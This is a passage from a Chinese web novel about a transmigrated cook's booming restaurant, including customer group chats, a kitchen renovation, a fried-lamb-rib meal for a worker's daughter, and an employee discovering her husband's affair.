“这刀功！！是真实存在的吗？”江映槐眼睛瞪得大大的，嘴巴微张，既惊叹又羡慕，“到底要练多久才能练到这种程度……” 她真的很需要！！ 不过将一块豆腐切成这样，还不是江映槐当下的目标，她还是将其他食材切好再说吧。 豆腐，对现在的她来说，是地狱级难度。 “这些菜看着就很好吃，难怪up主会吃得跟饿了大半辈子一样。”江映槐看完品尝环节，正想拉进度条重新看一遍，结果看到up主要去找厨师，她立马停下了手 屏住呼吸正襟危坐。 直到一个年轻女生出现在镜头前…… 江映槐差点当场跪了下来：“厨师是个漂亮的年轻女生就算了，竟然所有菜都是她做的……包括精致的山茶花酥、需要高超刀功的菊花豆腐？！” “不是，大家都是女生，为什么别人这么完美？！” 就连江映槐也忍不住贡献出了自己的金币。 不仅如此，还打开微博扫了码点了关注。 “这家店到底在哪？”江映槐重新拉回了开头，刚刚被她跳过的片段现在得重新看一遍，获取到重要信息的她决定了。 “拜师，一定要去拜师！” * 菊花豆腐的畅销程度超出了庄凝冬的意料，于是，面对顾客们的苦苦哀求，庄凝冬又延长了它的限购天数。 得知此事的顾客们—— zz：[啊啊啊爱了真的爱了！ 老大走伤悲：[好好好，既然这样，那我只能等再晚点才能告诉我妈了，不然只有一份菊花豆腐根本不够吃啊。] 放老子一马：[我至今不敢跟我爸说，我怕到时候买回来会因为太过漂亮而被他供起来。] 没出息：[大家能买的赶紧买的，不然以后就很难买到了。] 谭清莹：[？？？为什么？] 何筝：[难道你跟老板很熟，知道一些内幕消息？] 萝卜糕：[啊？不会是老板不做了吧？] 群里霎时一阵惊慌，纷纷艾特庄凝冬。 意识到自己刚刚的话语产生了歧义，造成了恐慌，那人赶紧澄清： [不是不是，是我在咕咚咕咚上看到一个up主做了庄记的探店视频，上面好多人都说已经买好高铁票了，到时候估计庄记就更多人了，竞争力不就更大了吗？] 那人顺手把视频链接分享到群里，其他人点进去，才发现视频的播放量竟然破了百万！ 其他各项指数也在不断飙升，直奔各种榜单的第一！ 乌鱼子：[是他！我排队的时候还见着他了！] 焦虑个P：[好消息：有百万粉丝up主来探店了，庄记好像要火了。 坏消息：更多人来了，以后可能吃不上庄记了。] 没出息：[怎么办？既后悔让他好好宣传庄记，又替庄记火了感到欣慰。] 焦虑个P：[不用想太多，人家做这种探店视频的，就算你不说，他也会好好宣传的。] 养生girl：[你们快去看！庄记微博粉丝数破万了！并且数量还在飞速增长！] 一杯奶茶：[说到微博，话说老板知道自己粉丝数破万了吗？@庄凝冬] 庄凝冬：[现在知道了。] 等日落：[笑死，我有个朋友进不了群，只能去关注微博，但是呢，她又特别想和老板说说话，于是，就在每条微博下都留评，增加被回复的概率，谁知道一次都没被回复过哈哈哈。] 111：[妈耶，还好我进群进的早。] 养生girl：[我有个朋友也是，没办法，真的太可怜了，看得我都不忍心了，所以来帮她问问，老板你有空能不能多翻翻牌子？] 庄凝冬本就在默默地看他们聊天，此时猝不及防看到翻牌子的字眼，惊恐得手机都差点拿不稳。 翻，翻牌子？！ 这在大燕朝可是只有皇帝才有资格做的事，让庄凝冬一个平民做这种犯上作乱的事，可真是折寿了。 虽然已经在这个时代生活了一段时间，对于一些生活习俗庄凝冬已经融入得差不多了。 不过在听到这种词汇时，还是难免会有种条件反射的惊颤。 结合前面的聊天，庄凝冬也猜到这个“翻牌子”的另一层意思，她冷静了下才回复道：[好，不过我的时间有限，没法做到条条回应，但我还是会尽量多点回复他们的。] 庄凝冬刚发出这条消息就点开了微博，挑选几个人的问题进行回答。 之后，她开始仔细思考加炉灶的事。 特别是现在越来越多人知道庄记，再不努力把产量提上去的话估计很多顾客想吃都吃不到。 庄凝冬拿出张纸画了目前厨房的大概构造，圈出了打算改的位置。 涂涂改改好了以后，就到找人帮忙砌灶台了。 原本庄凝冬是打算自己出去找其他装修工人的，直到某天，她在饭馆里遇见李和。 这天，李和特意选了个周六休息，就为了趁着女儿放假带她来吃一吃庄记。 他知道庄记很多人，所以提前带女儿来排队。 要不是只有他一个人照看女儿，不然李和都不舍得让她跟着自己排队。 “爸爸，为什么一定要来这里吃？”蕾蕾问。 “这里的东西好吃，”李和摸了摸她的头，“是累了吗？要不去那边树下坐坐？等会儿看到爸爸进店里你再跟着过来？” 蕾蕾摇摇头：“不用，我跟着你排。” 等排队点完单，菜被端上来后，蕾蕾看着面前这些菜，震惊得说不出话来。 好好看！闻着也好香，一看就特别好吃。 除此之外，也一看就好贵…… 想到这点，蕾蕾吞了吞口水，想吃的那点欲。望一下子下降了点。 看她久久不吃，李和问：“怎么了？不喜欢吗？” 蕾蕾点点头，又瞬间摇摇头。 她犹豫了几下，还是问了出来：“爸爸，这些菜是不是很贵？” 蕾蕾知道，爸爸赚钱很辛苦的，夏天的时候要顶着好大太阳在外面工作呢。 李和听见后，还是有点心疼，别人家的孩子这个年纪还只知道要糖吃，蕾蕾却这么懂事。 同时，他又有种深深的无力感。 都怪自己无能。 李和笑了下：“不贵，比咱们以前吃过的都便宜，蕾蕾不用担心钱的问题。” 蕾蕾：“可是，看着比以前吃过的菜都漂亮，闻着也特别香！” “蕾蕾不信的话，看看那块牌子上的数字？”李和朝菜单上指了指，告诉他自己点的分别是什么菜，让她做个简单的加法口算。 蕾蕾学习很好，等算出来确实比以前的便宜后，她才放心吃起来。 李和：“好不好吃？” 蕾蕾嘴里塞着一大口食物，双颊鼓鼓的，忙不迭点头含糊不清道：“好吃。” 这劲，生怕回答晚了让爸爸误以为她觉得不好吃。 后面，李和又跟蕾蕾说了这些菜都是庄凝冬做的。 透过窗口，能看到里头是一个大姐姐。 蕾蕾夸赞：“姐姐好厉害，我也要向她看齐，好好学习，等以后赚多多的钱，也要请爸爸吃好吃的。” 李和心里淌过一阵暖流。 怪不得都说女儿是贴心的小棉袄呢。 他们吃完饭，正要离开，没想到庄凝冬找了过来。 “你好，我记得你上次来说过你是在工地工作的，请问你认识懂装修的朋友吗？” 蕾蕾转头一看，是那位很厉害的大姐姐走出来了。 猜到可能是庄凝冬要装修店铺，念在现在饭店还在营业，李和提出可以等她忙完再仔细谈谈。 庄凝冬：“那麻烦你等等了。” 李和：“不麻烦。” 过了一阵子，庄凝冬忙完从后厨出来，跟李和说了自己的一些需求，李和顺势进后厨看了眼。 庄凝冬要改的地方不是很复杂，李和一个人就能做。 “这些改造很简单，我就会弄，如果你不介意的，我可以帮你。” 庄凝冬脸上一喜：“真的吗？那麻烦你了，需要多少钱你开个价吧。” 李和一直记着那顿饭的情，便说：“不用钱，你准备好工具材料就行。” “这怎么好意思呢？” 免得之后又是一番推脱，李和想了想，道：“要不这样吧，我还是不要钱，你答应我一个请求就行。” 第43章 第43章 庄凝冬：“你尽管说，如果在我的能力范围的话。” “到时候帮你装修好后，能不能请我们吃顿饭？我平时也没什么时间带女儿来吃饭，想趁现在有机会让她多吃点好吃的。”李和又道：“这会麻烦到你吗？” “就一顿饭而已，谈不上麻烦，要细算的话还是我赚了呢。” 庄凝冬看向站在李和身边的小女孩，她的身高才到李和的腰那里，一双眼睛很黑很亮，看起来就很聪明，她看向庄凝冬的眼神怯生生的，既陌生又崇拜，似乎想打个招呼，但又因为不认识而不敢乱来。 庄凝冬弯下腰，亲昵地摸了摸女孩儿的头，柔声问：“你叫什么名字呀？” 很厉害的漂亮姐姐跟她搭话了！ 蕾蕾眼睛一亮，脆生生道：“我叫蕾蕾！” “那蕾蕾平时喜欢吃什么菜？” “我什么都喜欢吃，不挑食的。” 蕾蕾知道，不挑食的才是好孩子，晚托班的老师时常会因为其他同学挑食而感到烦恼。 李和听到后只有一阵心疼。 如果可以，他倒是希望蕾蕾也可以跟其他小孩一样无理取闹一点。 庄凝冬想了下，换了个说法：“蕾蕾没有最喜欢吃的吗？就是当所有你喜欢吃的菜摆在你面前时，你最喜欢吃什么？” 蕾蕾被庄凝冬代入思绪中，想了好一会儿，才说：“最喜欢炸羊排。” “那到时候姐姐做这个给你吃好不好？” 李和这才反应过来，庄凝冬是要挑蕾蕾喜欢吃的给她做。 不可避免的，李和觉得太麻烦对方了，不过他也知道，如果说出来，估计又免不了一番客气的拉扯。 干脆算了。 不如等干活的时候打起十二分精神认真干好好回报人家。 之后，庄凝冬又和李和商量了下时间，庄凝冬表示自己哪一天都可以，李和则看着日历，还在思考，对他来说，周末是最好的，因为蕾蕾不用上学。 轻松的假日加上美味的饭菜，这样的搭配简直不要太惬意。 不过，周末人流量大，对餐饮店来说，生意应该是一周里最好的，会影响到人家开店吧。 李和刚准备挑个工作日，就听见庄凝冬说：“要不选个周末吧？对了，修后厨要几天？” “那点工作量不大，半天就可以了。”李和说，“周末是不是不太好？周末不会影响到你的生意吗？” “这倒不会，我每天固定就卖那么一点份量，每天都能早早卖完，节假日就算人再多，也不影响的。”庄凝冬笑，“还是说你周末没空？” “有，其实我都行，关键是选哪天休息的问题。” 两人经过商议后将时间定在了明天。 奶奶在旁边听着，不忘拿出她的黄历看了眼。 明天周日，宜动土，也是个好日子。 原本对大人的事一言不发的蕾蕾最终还是还忍住，有些担忧地看向李和：“可是爸爸，你今天已经休息一天了，之后你要连续上好多天班。” 蕾蕾知道，她爸爸工作辛苦，每个月只有四天可以休息，以前他都是一周休息一天的。 还是特意挑在她放假的周末。 通常在那天，李和会带她出去玩。 虽然眼前这个姐姐答应了给她做她最爱吃的菜，可是，她更不想爸爸辛苦。 庄凝冬想了几秒才反应过来。 工地工人似乎是没有双休的。 庄凝冬：“不好意思，是我没考虑到你的情况，你看看要换哪天吧，要不下周？” 李和却摇了摇头：“没关系，就明天吧。” 他说完后，又蹲下去安慰了一下蕾蕾：“爸爸赚钱呢，不累的，蕾蕾不用想太多，好好学习就行，知道不？” 蕾蕾抿着唇，她知道爸爸决定好的事就不会改变了。 于是只能点点头，然后在心中暗暗发誓，她一定要快点长大，这样就能快点出去赚钱，爸爸就可以不用那么辛苦了。 季初曼在收拾着卫生，听到了蕾蕾和李和的互动，心头不禁一阵触动，由此想到了自己的女儿圆圆。 女孩子们真是太乖了。 想见女儿的心在此刻达到了顶峰。 不过还好，还有一阵子就下班了，等下班就可以见到女儿咯。 定好周日早上开工，庄凝冬还让李和帮了另一个忙—— 买建造的材料。 等买好后，庄凝冬会给他赚钱。 李和在这方面比较专业，也能分辨一些材料的好坏，让他来买最合适不过了。 一点小事，李和爽快应下。 虽然装修只需要半天，早上装修，也不影响下午营业，但庄凝冬不想将日子过得太紧，便将停止营业的时间改为一天，在群里和微博上都发了消息—— [大家晚上好，说个消息，本店将于明天停业装修，停业时间为一天，后天正常恢复营业，大家不要跑空哦。] 明明只是短短一天，顾客们却绷不住了—— 没出息：[什么？！停业一天？！明天可是周日啊，打工人好不容易才熬到周末，就想着放假去庄记好好犒劳一下自己，结果却看到了这个消息，你让我怎么理智？？] 受不了了：[啊哈哈哈哈我没疯，大小周星人这周刚好轮到小周，明天才能休息，因为公司离庄记远，平常工作日的时候，等下班再赶过去排队，东西早卖完了，所以，我已经一周没吃过庄记了，就都等着明天呢，结果……] 陆向安：[你们谁有我惨？我不仅公司离庄记远，我还每周都单休，哦，不止，下班时间还要时刻待命/微笑。] 无敌小x：[这也太惨了吧兄弟，这家公司是救过你的命吗？] 陆向安：[唉，钱难赚屎难吃，已经在计划跑路了。] 不想上早八：[上了一周课的我，刚准备明天去庄记的啊啊啊，老板你把消息撤回行不行？我们可以当做没看到的。] 每天都好困：[附议！！马上撤回，我立刻当瞎子。] 庄凝冬无奈：[已经约好人定好时间了，改不了了，你们也不用太难过，也就一天而已，反正是迟早的事。] 当群里一堆人因为停业哭诉时，有人发现盲点：[是因为装修才停业的哎！装修什么啊？是不是扩大店面？那岂不是可以容纳更多人了？朋友们，如果是这样的话我们应该更高兴才对啊，等店面扩大我们就不缺座位坐了。] 这些人立马活过来了：[老板，这位朋友分析得对吗？是不是这样？这对我来说很重要！@庄凝冬] 可又有人发现了盲点：[只是店面扩大吗？那饭菜的份量会不会提升？如果饭菜份量没提升的话，对我来说其实没什么区别，无非就是有没有位置坐罢了。] 养生girl：[是啊，如果份量没变的话，饭菜还是一样难买，反正对我来说，肯定是饭菜更重要啊，如果能买到，我宁愿没位置坐。] 111：[＋1] 庄凝冬看了他们的聊天，决定跟他们说清楚：[不是扩大餐厅的规模，是修厨房的，放心吧，之后保证能多做点饭菜。] 有了庄凝冬的话，他们纷纷上演了一场变脸—— 放老子一马：[装修得好啊，就该停业装修，我看谁不同意这个决定。] 焦虑个P：[要不以后每周都停业一天用来装修？] 谭清莹：[可以，但别选在周末行不行？大小周人伤不起。] 陆向安：[单休人更伤不起。] 庄凝冬：“……” 第二天店铺不营业，庄凝冬顺势给季初曼放了个假。 忙碌了那么久，季初曼也好久没好好陪过女儿了，刚好这天是周日。 她在头一天晚上就答应了要带圆圆去玩，跟季女士一起。 她们上午出去玩，去了一家溪城比较有名的网红餐厅吃饭。 结果，谁能想到这家评分还算高的餐厅，味道竟然这么一言难尽…… 在店里学了一点皮毛的季初曼自信地想，还不如她自己做的。 季女士和圆圆明显也吃不下了。 圆圆皱着小脸纠结：“妈妈，这个菜不好吃，都没有你晚上带回家的东西好吃……圆圆不想吃了……” 这段时间，季初曼都会在店里用员工价买一些饭菜等晚上下班后带回家给季女士和圆圆吃。 连着吃了那么久的美味，如今再吃到这么难吃的东西，别说圆圆了，季初曼自己都受不了。 季初曼捏了捏圆圆的脸，“吃不下就别吃了，等会儿妈妈跟外婆带你出去吃点别的。” 这儿的餐厅离之前和卫默一起住的地方有点进，季初曼要回去拿点东西，就让季女士和圆圆先在餐厅里坐着等一下。 季初曼回到之前的住处，开了门，刚开鞋柜拿出自己的拖鞋，不经意间视线一扫，像是看见什么，她骤然一顿，而后往回看。 鞋柜里不知何时多出了几双女式鞋，款式有高跟鞋，也有拖鞋…… 明显不是她的。 先前就怀疑过的事情在此刻得到证实，是意料之中的。 说不上多难过，但在毫无防备之下突兀看见，难免会有一瞬间的窒息感。 季初曼打开她跟卫默的聊天框，上面的聊天记录还停留在三天前，只是些口头嘱咐她别太过操劳的话。 哦，还有别的，问她什么时候回家住，想好什么时候回的话就提前跟他说一声。 原来在这等着呢。 季初曼也没心思换鞋了。 她先是拍了张照，留下证据，然后往房间里走。 鞋柜里，他们两个的拖鞋都没穿，显然不在屋里。 季初曼打开了房门。 率先闻到的是一阵刺鼻的香水味，床上的被褥皱巴巴的，地上甚至还躺着条浴巾。 季初曼心底瞬间泛起一股生理性的恶心和反胃，她冲进浴室洗手台干呕了几下，赶紧拍了几张照片，拿上要找的东西就走了。 只是刚走到楼梯口，季初曼脑海中突然闪过一个念头…… 她拿出手机，给卫默发了条信息，说自己下午会回一趟家。 卫默几乎秒回：[什么？！今天下午？怎么这么突然？你回来干嘛我今天可不在家，要不你改天再回吧。] 这溢出屏幕的着急感。 季初曼勾唇冷笑：[怎么了老公，我的房子我不能回吗？我只是回去拿个东西，不需要你在。] 卫默：[……我不是这个意思。] 后面卫默又问她几点回，季初曼跟他说了个数，随后就打电话跟季女士说明了情况，让她先带圆圆去玩，不用在餐厅等了。 季女士听完后，一阵沉默。 哪怕早就猜到这个结果，她也觉得生气，气这个死渣男。 不过当下还是女儿的心情最重要。 季女士问：“……你没事吧？” 季初曼：“嗯？我有什么事？” 听见是这个回答，季女士反而放心了，让她自己注意安全，别太冲动，免得打草惊蛇。 季初曼应下，就在小区的绿化旁找了张椅子坐下。 这里的视角很刁钻，高大的树木可以挡住她，却也方便她盯着她那栋楼的出入口。 不多时，卫默果然出现了。 他脚步冲冲，大步流星走得飞快，一个年轻且穿着暴露的女生紧紧抱着他的胳膊，气喘吁吁的，神情抱怨，嘴里还指责着什么…… 季初曼赶紧拿出手机对着他们录了一段视频，随后又跟了上楼。 虽然这儿的隔音不是很差，也许录不到什么，但季初曼还是将录音打开，把手机放在门下缝隙那里录着。 等听到他们要出来的动静，季初曼赶紧先一步下楼。 很快，卫默和那个女生提着大包小包一同出了小区。 隔了一会儿，季初曼也跟着走了。 跟季女士她们重新汇合后，在圆圆面前，季初曼已经恢复了原本的样子，那笑盈盈的模样仿佛什么也没发生过。 等圆圆在一旁认真玩时，季女士问季初曼的打算。 反正婚肯定是要离的，那套房子当然也要拿回来。 现在他们一起住的那套房子，当初还是季初曼她们那一方付的首付，写的自然也是她的名字，那就是她的。 至于圆圆，她肯定要争这个抚养权的。 然后还有其他共同财产，圆圆的抚养费等方面的问题，要是协议不了，季初曼也不介意闹上法庭。 只是不知道该怎么跟圆圆说她要没有爸爸这件事…… * 既然答应了李和，要请他吃一顿饭，想着刚好他人今天在，庄凝冬便准备干脆今天中午请他们吃饭。 只是自家后厨在装修，用是肯定用不了了，只能去借借邻里街坊的厨房了。 庄凝冬一大早就去市场买了新鲜羊排回来。 她到家的时候李和带着蕾蕾也到了。 “这么早？！”庄凝冬惊讶的是蕾蕾，“你们吃早饭了吗？” 李和：“原本我想过来干完活再回去接蕾蕾来吃饭的，但她非要早上跟着来，不介意吧？” “当然不介意。” 李和低头拍了拍蕾蕾的后脑勺：“快告诉姐姐吃早饭了没有。” “吃过了，”蕾蕾老实回答，“还是吃的肉包子。” 庄凝冬笑眯眯地，夸了句真乖就带着李和进了厨房。 其他多余的东西，庄凝冬早在头一天晚上就把它们收拾好拿到后院放着了。 现在后厨看着空荡荡的，反而一阵清爽。 没了东西遮挡，李和看出了一些更细致的、那天没发现的问题，并根据自身专业性对庄凝冬提出了一些解决方法。 庄凝冬点点头，说那就按他说的改。 李和在后厨忙，奶奶和庄凝冬则在厅里陪蕾蕾做作业。 中途，许爷爷家的孙子阳阳来了一趟，据说他怎么也不肯信凝冬姐姐家里不做饭了，怀疑自家爷爷奶奶骗他，非得亲自过来看一看。 结果这一看，彻底心碎。 但小孩子的注意力很快被别的转走，阳阳看到蕾蕾在写作业，好奇地凑过去。 平时他都和比他小的孩子玩，特别是方家的孙女巧巧，他总仗着自己比她大，收获过小女孩不少的崇拜。 这让他很骄傲。 所以此刻他看见身形比他瘦小的蕾蕾，下意识以为对方比自己小，那点被人崇拜、作为哥哥要好好照顾妹妹的感觉上来，于是，在题目都没看清的时候，他就说道； “你在写什么作业？如果不懂的话，我可以教你……” 然后他低头一看，数字是看得懂的数字，这算法怎么就看不懂了呢？ 偏偏蕾蕾还刚好有道题不会，而她又以为阳阳真的会，就认真地问：“这道题怎么算？” 阳阳憋了半天憋不出一句话来，急得红了脸，还是许奶奶过来瞅了一眼，说：“二年级的题，他才一年级，他会个屁，走了。” 说完，阳阳就被拉扯着走了。 吃不到凝冬姐姐做的东西，还丢了大脸，这下，阳阳真的彻底心碎了。 庄凝冬在心里估摸着时间，等差不多了就提着早上买的羊排去了赵爷爷家。 原本她想就近借用陈婆婆家的厨房的，但陈婆婆今天不在家，她只好去找赵爷爷了。 庄凝冬也不知道赵爷爷怎么说服他家人的，竟然同意让他留在家里继续开早餐店了。 不过，到了赵爷爷家，庄凝冬发现他家里多了摄像头。 见庄凝冬盯着摄像头看，赵爷爷哼了声，说：“就是这样他们才同意我留下来。” 摄像头，庄凝冬知道这个东西。 可以远距离实时观察、并留下一段时间的生活痕迹的东西。 非常现代化。 庄凝冬跟赵爷爷寒暄了几句，说这次先借用他的厨房，等下次再教他做包子。 左右是自己赚了，赵爷爷笑呵呵的，乐得他眼睛都藏在了皱纹里头。 厨房里，庄凝冬先做了一锅卤汤，随后将买来的新鲜羊排洗净，冷水下锅焯水。 焯好水的羊排撇去浮沫，清洗干净就可以放进卤汤里面煮了。 随着时间的流逝，卤汤锅里的羊肉香越来越浓郁，还有卤汤中的配料香味，慢慢充满整个厨房。 赵爷爷在一旁闻着都要流口水了。 他看着庄凝冬把卤好的羊排盛出，眼巴巴地狂咽口水，“还好没住你家隔壁，不然我得每顿忍受你做饭的香气，也太痛苦了。” 赵爷爷说着，实在被香到忍不住了，“那个，凝冬啊，可以先让我尝一点吗？一点点就行，给块骨头我拿着啃也行，真的太馋了。” 庄凝冬被他这副孩子样逗笑，挑了一块比较小的给他，让他过过嘴瘾：“吃吧，小心烫啊。” 用香料卤过的羊排别提多香了，每个角落都吸满了香料的气味，味道醇香浓厚，再加上经过长时间熬煮，羊排上的肉变得又软又烂，特别嫩。 而且，也不知道怎么做的，这羊排竟然没有一点羊膻味，只有浓郁的羊肉香，尤其是带点肥的部分，软软滑滑的，好吃极了。 “真好吃啊……”赵爷爷吃一口就感叹一声，越发觉得自己留下来这个选择是正确的。 哼哼，要是去了外地，哪吃得上这么香的羊排哦？ 赵爷爷就在一旁拎着羊排边啃边看着庄凝冬在刚盛出来的羊排上拍着干的玉米粉。 随后放进六七成热的油里炸。 锅里，澄黄的油正滋啦滋啦冒着细密且泛白的小。 因为提前卤过，里面的肉已经熟了，此时只需要将外层炸至酥脆就可以捞出了。 原本卤过的羊排就已经够香了，谁知道，炸过之后更甚。 炸好的羊排整整齐齐地摆放在碟子上，外头裹了一层焦色，金黄金黄的，看着很诱人，而且经过炸制，羊排散发着油炸的特殊香味，似乎比卤过的羊排更香。 赵爷爷嘬着手里的羊排骨头，有点后悔，好像吃早了？ 看赵爷爷那个样子，庄凝冬就知道他还想吃。 庄凝冬弯眼一笑，夹了一块放进他的碗里：“不用这么望眼欲穿的，有您的份。” “您不是看了我的制作过程么？等下次想吃的时候，您可以自己做来出。” 赵爷爷听见后一愣，再回想时，才发现刚刚自己只顾着吃了，哪还记得什么制作过程啊？ 赵爷爷心虚摸鼻，仿佛上课走神的学生被老师抓到，他找着借口：“其实我没看完整……” 庄凝冬没拆穿他，好笑地指了指角落：“记录下来了，可以让赵姐和赵哥看了告诉您。” 之后，庄凝冬又做了一些别的菜，才收拾好使用过厨房，端着菜往家里去。 赵爷爷说自己孤家寡人一个，想去凑凑热闹，便厚着脸皮自带碗筷跟着去了庄凝冬家里蹭饭。 第44章 第44章 等庄凝冬回到家时，厨房已经弄好了，李和还帮忙搞了卫生。 此刻厨房一片亮堂，干干净净的。 重新规划过的布局更是将空间利用到了极致，同样的面积，整理过后能放的东西更多了，并且比之前更井井有条，哪怕多增了炉灶，也不显逼仄。 几人在前面餐厅落了座。 庄凝冬把篮子打开，里面放着一碟碟做好的菜，是四菜一汤：香酥羊排，白贝冬瓜汤，爆炒空心菜，蜜汁鸡翅和红烧鱼块。 满桌菜肴，色香味俱全，光是看着就让人忍不住流口水。 蕾蕾更是端坐在桌子前，双手交叠乖巧坐着，眼巴巴地望着那些菜，时不时做吞咽动作。 李和没想到这顿饭会这么丰盛，顿时有点无措。 他想起之前庄凝冬说是她赚了的话，现在只想反驳，哪里是她赚了，明明是他赚了才对。 这些菜光是成本就不便宜，再配上庄凝冬的手艺，要想在外面吃上一顿这么好的，不得上千啊？ “洗手了没？”李和问蕾蕾。 蕾蕾乖巧点头：“洗了。” “那也要等人齐了才能吃知道不？” 蕾蕾点点头：“知道。” 赵爷爷的儿女都还没有成家，他没有孙子孙女，平常在朝丰街闲着无聊时，都会逗其他家的小孩儿玩，还时常被他们的样子逗得开怀大笑。 谁都知道他想要个孙子孙女，只可惜两儿女都不急，他也只能等着咯。 如今看到这么乖巧的蕾蕾，他也不由心一软，想要孙女的心到达了顶峰。 “要是我以后也有这么可爱的孙女就好咯。” 李和笑笑：“会有的。” 庄凝冬从后厨拿了碗筷出来，给他们分。 所有人里，只有赵爷爷的碗筷不一样，因为他那是自带的。 其他人被他的行为逗笑，赵爷爷也不在意，反而自己开起自己的玩笑：“我自己厚着脸皮跟过来的，不自己带个碗筷我都怕不给我添。” 几句玩笑话过后，终于开始开动。 蕾蕾喜欢香酥羊排，第一个夹的就是它。 “爸爸，那个是什么？”蕾蕾指着香酥羊排旁边的一小碗粉末小声问。 庄凝冬：“那是花椒盐，吃起来会有点麻麻的，辣嘴，你可以先蘸一点点试试，觉得味道可以接受再多蘸点。” 蕾蕾点点头：“好的。” 李和用没吃过的勺子弄了一点点到蕾蕾的碗里，蕾蕾尝过后觉得好吃，便拿着羊排蘸了蘸。 炸过的羊排表面泛着一层金黄，外层焦香焦香的，蕾蕾用手握着一边骨头，低头咬了一口。 瞬间发出清脆的咔吱声，羊排外酥里嫩，里面的肉质鲜得能爆汁。 里层的羊排肉是卤过的，很软烂，也很入味，带着一股特质卤汤的香气，把羊肉本身的风味推到了顶峰，咬着肉往外扯的时候，能拉丝。 原本的羊排已经很香了，没想到蘸上一层花椒盐的味道更甚，香香麻麻的，又咸香十足，配上卤过的羊排，让人很不得恨不得连舌头都吞下去。 特别是里面带了些肥肥油脂的部分，超级软滑，绵软得入口即化，羊肉那股鲜香而不膻的味道发挥得淋漓尽致。 “好好吃啊！” 蕾蕾吃饭速度很快，一小块羊排很快被她啃得干干净净，她连骨头都没放过，在那边啃边嘬。 李和看她一眼，提醒她：“别光顾着吃菜，多吃点米饭，我看你米饭都没动过。” “知道了。” 蕾蕾有只手上拿过羊排，上面亮晶晶地挂了层油脂，她就拿另一只干净的手去拿勺子，乖乖地扒拉了一大口米饭。 “这是我吃过最好吃的香酥羊排！” 蕾蕾记得，以前爸爸带她去的那些环境特好的餐厅，羊排都没现在这份那么好吃。 她嘬了嘬手指头，上面的油脂都是香香的，味道好好！ 赵爷爷笑：“你这小女娃还挺会吃的嘞，不得不说，爷爷虽然活了几十年，但这也是我吃过最好吃的羊排。” 奶奶也笑得慈祥：“好吃就多吃点，瞧瞧多瘦，正是长身体的时候呢。” 他们人多，哪怕一碟羊排看着满满的，其实分下来每人也没多少，李和就在自己那块羊排上弄了一块肉下来，放进蕾蕾碗里：“吃吧。” 蕾蕾没犹豫，夹了回去：“爸爸吃。” 虽然她很喜欢，但这份羊排很好吃，她也希望爸爸多吃点。 庄凝冬：“这里还有呢，可以放开肚子吃。” 蕾蕾却摇摇脑袋：“我数过了，每个人刚好可以分到两块，我只剩一块啦，想吃完饭再吃，现在不能再多吃了。” 庄凝冬稍愣，她在砍羊排的时候没注意这个问题，对于美食，她向来觉得谁喜欢吃就多吃点，要是不够吃，下次还可以再做。 没必要分得太细致。 而且由于她做饭太香，时常会有别人中途加入蹭饭，这些都是不可控因素，没法做太精准的分配。 比如现在的赵爷爷。 他就是中途才凑过来的。 好在准备的食材足够多，他们几人吃也能吃饱。 更何况现在除了羊排，还有其他菜。 不过在蕾蕾眼里，好东西都是要公平分的，因为在晚托班里的老师就有教他们要分享，要公平。 比如在晚托班里的时候，吃饭时，他们每个人的碗里都会有一个鸡腿。 每个人都只有一个，很公平的。 赵爷爷显然也没想到小孩子会默默在心里分好，他霎时想起自己饭前吃的那两块羊排，除了心虚以外还鄙夷谴责了一番自己的行为。 要是他知道小孩子心里这么细腻，无论怎样都会忍住那股嘴馋。 不过还有挽救余地。 赵爷爷先是夸了一番蕾蕾：“蕾蕾数学学得这么好啊，真棒。” 随后又说：“那如果爷爷说，由于爷爷太贪吃了，在开饭前就忍不住先吃了两块羊排，蕾蕾知道这份羊排应该怎么分吗？” 蕾蕾一下子被绕了进去，连吃饭的动作都忘了，就愣在那里呆呆地思考。 赵爷爷笑，把自己的那块夹了过去给她：“因为爷爷之前已经吃过了，所以现在不需要分到两块，多出来的就奖励给大方无私的蕾蕾，快吃吧。” 蕾蕾虽然还是没想明白，但她知道奖励的意思，顿时有点开心地点点头，说了句谢谢爷爷。 不仅脆，还会爆汁的香酥羊排软软烂烂，配上香喷喷的米饭，好好吃！ 还有其他菜也好好吃！ 白贝冬瓜汤颜色清亮透彻，喝起来好清甜，白贝肉软软的，鲜鲜甜，冬瓜是晶莹剔透的一块，咬下去，清香软绵。 好好喝！ 空心菜翠绿翠绿的，口感脆嫩；蜜汁鸡翅的香味浓厚，带有蜂蜜的香甜，外焦里嫩，肉质嫩滑多汁，甜丝丝的。 连骨头都是甜甜的，好吃！ 还有红烧鱼块，外表酥脆，内里爽滑，鱼香醇厚，肉质极大程度上保留了鱼肉本身的风味，香辣香辣的。 是特别好吃的鱼鱼！ 蕾蕾这顿饭吃得超级饱，她吃完后乖乖地擦干净嘴巴，又去洗干净手，然后坐回椅子上甜甜地对庄凝冬说谢谢她做了那么好吃的菜。 她在这里吃过两顿饭，每一顿都很满足。 特别开心！ 吃过饭后，李和就带着蕾蕾回家了。 而庄凝冬下午休息，她把碗筷收拾好，也去午睡了一小会儿。 忙了一阵子，好不容易能歇一天，庄凝冬打算下去带奶奶出去逛逛。 自己也顺带放松放松。 她们走进了一家商场，庄凝冬看了眼，拉着奶奶进了一家服装店。 准备给奶奶买点新衣服。 拉着奶奶试了几件，庄凝冬觉得不错，便要拿去付款，奶奶拦住：“哎，我都一把年纪了还废那点钱干嘛咯？你还不如留着给自己花呢，而且这家店好贵呢，我看着都肉疼。” “您这是什么话？”庄凝冬佯装生气：“我现在有钱呢奶奶，可以给您买贵衣服了，好不容易赚到钱，当然得先孝敬您啦。” 不顾奶奶的劝阻，庄凝冬拿着就去收银台付了钱。 随后，两人又逛了逛其他地方。 临走时，她们路过一家金店。 庄凝冬看了眼里面玻璃柜金灿灿的配饰，心想，等以后再攒点钱手头足够宽裕的时候，就能给奶奶买金子戴了。 回去之后，庄凝冬决定将香酥羊排作为新品售卖。 现在厨房空间变大了，可以大大提高饭菜产量了，不过庄凝冬也没一股脑增量。 店里现在只有她和季初曼两个人忙活，一下子增太多，也忙不过来，而且日后肯定也要不断上新品的，还是得留一点空间。 庄凝冬低头想了想，嗯……或许可以再招点人。 * 于父最近有点烦恼，他最近在跟外地的一家公司谈合作。 那家公司挺厉害的，也有好几家公司在跟他一同竞争。 同行都很强，各有各的优势，竞争压力有点大，于父不是很有把握。 不过他做生意向来比较佛系，能谈得下就谈，谈不下就算了。 于父想开了，整个人都变得轻松了点，他打开手机，里面的朋友群聊得正嗨。 他们都知道于父最近正要谈合作，便饶有兴致给他“出谋划策”： 